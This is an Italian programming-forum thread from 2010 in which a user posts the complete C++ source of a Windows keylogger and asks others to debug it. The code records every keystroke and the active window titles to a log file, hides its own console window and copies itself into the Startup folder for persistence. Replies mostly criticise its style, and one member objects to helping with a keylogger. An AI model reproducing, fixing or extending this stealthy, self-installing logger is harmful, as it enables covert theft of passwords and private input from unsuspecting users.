Torna indietro   Hardware Upgrade Forum > Software > Programmazione

Recensione Samsung Galaxy Z Fold7: un grande salto generazionale
Recensione Samsung Galaxy Z Fold7: un grande salto generazionale
Abbiamo provato per molti giorni il nuovo Z Fold7 di Samsung, un prodotto davvero interessante e costruito nei minimi dettagli. Rispetto al predecessore, cambiano parecchie cose, facendo un salto generazionale importante. Sarà lui il pieghevole di riferimento? Ecco la nostra recensione completa.
The Edge of Fate è Destiny 2.5. E questo è un problema
The Edge of Fate è Destiny 2.5. E questo è un problema
Bungie riesce a costruire una delle campagne più coinvolgenti della serie e introduce cambiamenti profondi al sistema di gioco, tra nuove stat e tier dell’equipaggiamento. Ma con risorse limitate e scelte discutibili, il vero salto evolutivo resta solo un’occasione mancata
Ryzen Threadripper 9980X e 9970X alla prova: AMD Zen 5 al massimo livello
Ryzen Threadripper 9980X e 9970X alla prova: AMD Zen 5 al massimo livello
AMD ha aggiornato l'offerta di CPU HEDT con i Ryzen Threadripper 9000 basati su architettura Zen 5. In questo articolo vediamo come si comportano i modelli con 64 e 32 core 9980X e 9970X. Venduti allo stesso prezzo dei predecessori e compatibili con il medesimo socket, le nuove proposte si candidano a essere ottimi compagni per chi è in cerca di potenza dei calcolo e tante linee PCI Express per workstation grafiche e destinate all'AI.
Tutti gli articoli Tutte le news

Vai al Forum
Rispondi
 
Strumenti
Old 27-10-2010, 16:01   #1
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
[C++] KeyLogger non funziona???

Salve. Ho riscartabellato un vecchio keylogger che avevo di qualche tempo fa e funzionava. Ora gli ho apportato delle modifiche e non va più. Siccome mi sto impazzendo, che poi tanto lo so che è una cosa stupida (o un errore idiota o una dimenticanza), non è che potreste aiutarmi a capire qual è l'errore?? Grazie in anticipo!

Questo è il codice:

Codice:
/*

KeyLogger v.Beta
Author: R#I
Language: C++

*/

#include <iostream>
#include <windows.h>
#include <WinUser.h>
#include <cstring>
#include <fstream>

using namespace std;

void logga(char stringa[500]);
void logga(char carattere); // OVERLOAD
void nasc_sposta(char *dir_destinazione);
char *GetEsecAutoDir();

ofstream log; //File di LOG
char *destinazioneLog; // Destinazione file di log

int main()
{
   nasc_sposta(GetEsecAutoDir());
   int key;
    HWND finestra_corrente;
    char titolo_finestra[255], attuale[255];
      while(1)
        {
      Sleep(10); // Per non usare tutta la CPU
        finestra_corrente = GetForegroundWindow();
         GetWindowText(finestra_corrente, titolo_finestra, 254);
          if(strcmp(titolo_finestra, attuale)!= 0)
             {
                logga("\n");
                logga(titolo_finestra);
                logga("\n");
             }
                 strcpy(attuale, titolo_finestra);

// ========================= Titolo Finestra ================

if(GetAsyncKeyState(key)== -32767){

   // Tasti F1,F1,F2 ecc
   if(key >= 112 and key <= 123){
      switch(key){
           case 112: logga("[F1]"); break;
           case 113: logga("[F2]"); break;
           case 114: logga("[F3]"); break;
           case 115: logga("[F4]"); break;
           case 116: logga("[F5]"); break;
           case 117: logga("[F6]"); break;
           case 118: logga("[F7]"); break;
           case 119: logga("[F8]"); break;
           case 120: logga("[F9]"); break;
           case 121: logga("[F10]"); break;
           case 122: logga("[F11]"); break;
           case 123: logga("[F12]"); break;
      }
   }   
   // Alfabeto
   if(key >= 65 && key <= 90){
 
             if(GetAsyncKeyState(VK_CAPITAL)==1 || GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128   ){
             // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
             logga(key);
 
             }else{
             // Se no memorizziamola in minuscolo
             key += 32;
             logga(key);
             }                       
   }   
   // TASTI numerici   
   if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){  
       // Se è premuto shift ... 
      switch(key){
      case 48 :      logga('='); break;
      case 49 :      logga('!'); break;
      case 50 :      logga('"'); break;
      case 51 :      logga('£'); break;
      case 52 :      logga('$'); break;
      case 53 :      logga('%'); break;
      case 54 :      logga('&'); break;
      case 55 :      logga('/'); break;
      case 56 :      logga('('); break;
      case 57 :      logga(')'); break;
      }                         
 
   }else{   
   // Se no stampa i numeri   
       if(key >= 48 && key <= 57)logga(key);   
    } 
 
   if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
   // Se è premuto Shift ...
      switch(key){
 
      case 186 :       logga('é'); break;
      case 187 :       logga('*'); break;
      case 188 :       logga(';'); break;
      case 189 :       logga('_'); break;
      case 190 :       logga(':'); break;
      case 191 :       logga('§'); break;
      case 192 :       logga('ç'); break;
      case 219 :       logga('?'); break;
      case 220 :       logga('|'); break;
      case 221 :       logga('^'); break;
      case 222 :       logga('°'); break;
      case 226 :       logga('>'); break;
 
      }  
 
    }else if((GetAsyncKeyState(17)==-127 || GetAsyncKeyState(17)==-128  )&&(GetAsyncKeyState(18)==-127 || 
    GetAsyncKeyState(18)==-128 )&&( GetAsyncKeyState(162)==-127 ||  GetAsyncKeyState(162)==-128 )&&
    (GetAsyncKeyState(165)==-127 || GetAsyncKeyState(165)==-128) ){
    // Se tiene premuto ALT GR
      switch(key){
      case 101 :        logga('€'); break;
      case 192 :        logga('@'); break;
      case 222 :        logga('#'); break;
      case 187 :        logga(']'); break;
      case 186 :        logga('['); break;
      }                           
    }else{
    // Se no
      switch(key){  
      case 192 :        logga('ò'); break;
      case 191 :        logga('ù'); break;
      case 222 :        logga('à'); break;
      case 187 :        logga('+'); break;
      case 186 :        logga('è'); break;
      case 188 :        logga(','); break;
      case 190 :        logga('.'); break;
      case 189 :        logga('-'); break;
      case 219 :        logga('\''); break;
      case 221 :        logga('ì'); break;
      case 226 :        logga('<'); break;
      case 220 :        logga('\\'); break;
      }
      
   switch(key){
 
   case 8 :         logga("[BACK]"); break;
   case 9 :         logga("[TABLE]"); break;
   case 11:         logga("[HOME]"); break;
   case 13:         logga("[RETURN]"); break;
   case 27:         logga("[ESC]"); break;
   case 32:         logga("[SPACE]"); break;
   case 33:         logga("[PAG SU]"); break;
   case 34:         logga("[PAG GIU]"); break;
   case 35:         logga("[END]"); break;
   case 36:         logga("[HOME]"); break;
   case 37:         logga("[left]"); break;
   case 38:         logga("[TOP]"); break;
   case 39:         logga("[right]"); break;
   case 40:         logga("[BOTTOM]"); break;
   case 44:         logga("[STAMP SCREEN]"); break;
   case 45:         logga("[INS]"); break;
   case 46:         logga("[CANC]"); break;
   case 91:         logga("[WINDOWS]"); break;
   case 92:         logga("[WINDOWS]"); break;
   case 96:         logga('0'); break;
   case 97:         logga('1'); break;
   case 98:         logga('2'); break;
   case 99:         logga('3'); break;
   case 100:        logga('4'); break;
   case 101:        logga('5'); break;
   case 102:        logga('6'); break;
   case 103:        logga('7'); break;
   case 104:        logga('8'); break;
   case 105:        logga('9'); break;
   case 106:        logga('*'); break;
   case 107:        logga('+'); break;
   case 109:        logga('-'); break;
   case 110:        logga('.'); break;
   case 111:        logga('/'); break;
   case 144:        logga("[BLOC NUM]"); break;
   case 145:        logga("[BLOC SCORR]"); break;
   case 163:        logga("[ESC]"); break;
   case 255:        logga("[SPACE]"); break;
   }
  }
 }  
}
    return 0;
}

void nasc_sposta(char *dir_destinazione)
{
    HWND invisibile;

      invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger
      ShowWindow(invisibile, SW_HIDE); //Nascondo finestra
      MoveFile("key.exe", dir_destinazione);   // Sposto in esecuzione automatica
}

char *GetEsecAutoDir()
{
  char disco[255], utente[255], *user_path;
  DWORD *a;
   user_path = new char[255]; // Alloccazione dinamica
   a = new DWORD[255];          // Come sopra
    GetSystemDirectory(disco, 254);  // Prendo disco rigido in uso
      destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale
    GetUserName(utente, a);          // Prendo Nome Utente
     strncpy(user_path, disco, 3);   //
      strcat(user_path, "Documents and Settings\\");
      strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get();
      strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
  return user_path;  // Ritorno il cpleto valore per copiare il file in esecuzione auto
}

void logga(char carattere) // Loggo caratteri
{
    log.open("log.txt", ios::app);
    log << carattere;
    log.close();
}

void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe
{
    log.open("log.txt", ios::app);
    log << stringa;
    log.close();
}
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 17:29   #2
Tommo
Senior Member
 
L'Avatar di Tommo
 
Iscritto dal: Feb 2006
Messaggi: 1304
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?
Mi sa che faresti bene a dare un occhio a una cosa che si chiama "tabella ASCII" perchè il tuo codice si riscrive in 4 righe.

A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Ciap
__________________
*ToMmO*

devlog | twitter
Tommo è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 17:35   #3
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
Non sapevo fosse vietato??!
Comunque grazie per il consiglio, anche se, non penso che si possa scrivere proprio in 4 righe come dici tu!

EDIT: Ma comunque si sa perchè non lavora? Qual è l'errore che faccio?

Ultima modifica di L3n : 27-10-2010 alle 17:50.
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 18:34   #4
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
Almeno mi sapete dire come rilevare i simboli @#[]€ con il tasto alt gr (ctrl e alt). Ho provato VK_CONTROL (CTRL) e VK_MENU (ALT), ma non li rileva per niente! Non si accorge nemmeno che vengono premuti, infatti mi da i caratteri normali senza la pressione di alt gr! Potete aiutarmi??
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 21:38   #5
shinya
Senior Member
 
L'Avatar di shinya
 
Iscritto dal: Jul 2005
Città: Bologna
Messaggi: 1130
Quote:
Originariamente inviato da Tommo Guarda i messaggi
A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Moralista bacchettone.
shinya è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 22:04   #6
d@vid
Senior Member
 
L'Avatar di d@vid
 
Iscritto dal: Jan 2005
Città: Napoli
Messaggi: 2424
Quote:
Originariamente inviato da Tommo Guarda i messaggi
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?
Scusate l'intromissione

intendi con un ciclo for?


Codice:
for i from 96 to 110
case i: logga(char(*codice ASCII progressivo*)) break;
end
__________________
~ ~ ho concluso con: capzero, DarkSiDE, Iron10, 12379, Hyxshare, Gort84, kristian0, scrafti, as2k3, gegeg, Kyrandia, Feroz, asta, nyko683, mstella, 00700, WotanBN, [COLOR=]Warez[/color], sesshoumaru, ...
nel we potrei non essere davanti al pc

Ultima modifica di d@vid : 27-10-2010 alle 22:08.
d@vid è offline   Rispondi citando il messaggio o parte di esso
 Rispondi


Recensione Samsung Galaxy Z Fold7: un grande salto generazionale Recensione Samsung Galaxy Z Fold7: un grande sal...
The Edge of Fate è Destiny 2.5. E questo è un problema The Edge of Fate è Destiny 2.5. E questo ...
Ryzen Threadripper 9980X e 9970X alla prova: AMD Zen 5 al massimo livello Ryzen Threadripper 9980X e 9970X alla prova: AMD...
Acer TravelMate P4 14: tanta sostanza per l'utente aziendale Acer TravelMate P4 14: tanta sostanza per l'uten...
Hisense M2 Pro: dove lo metti, sta. Mini proiettore laser 4K per il cinema ovunque Hisense M2 Pro: dove lo metti, sta. Mini proiett...
Assassin's Creed Black Flag Remake: le m...
Cosa ci fa una Xiaomi SU7 Ultra alle por...
Promo AliExpress Choice Day: prezzi stra...
Nostalgico, ma moderno: il nuovo THEC64 ...
AVM avvia la distribuzione di FRITZ! OS ...
Super offerte Bose: le QuietComfort a me...
Epic vince (ancora) contro Google: Andro...
Sconti nuovi di zecca su Amazon: 27 arti...
Un'esplorazione del 'lato oscuro' di Fac...
Apple ha venduto 3 miliardi di iPhone da...
Grandi sconti oggi sugli spazzolini elet...
Reddit sfida Google: vuole diventare il ...
Nuovi sconti super mini PC: Ryzen 7, 32G...
Addio NATO, benvenuta PAX ARMATA: tutto ...
Opportunità di guadagno: Microsof...
Chromium
GPU-Z
OCCT
LibreOffice Portable
Opera One Portable
Opera One 106
CCleaner Portable
CCleaner Standard
Cpu-Z
Driver NVIDIA GeForce 546.65 WHQL
SmartFTP
Trillian
Google Chrome Portable
Google Chrome 120
VirtualBox
Tutti gli articoli Tutte le news Tutti i download

Strumenti

Regole
Non Puoi aprire nuove discussioni
Non Puoi rispondere ai messaggi
Non Puoi allegare file
Non Puoi modificare i tuoi messaggi

Il codice vB è On
Le Faccine sono On
Il codice [IMG] è On
Il codice HTML è Off
Vai al Forum


Tutti gli orari sono GMT +1. Ora sono le: 16:45.


Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Served by www3v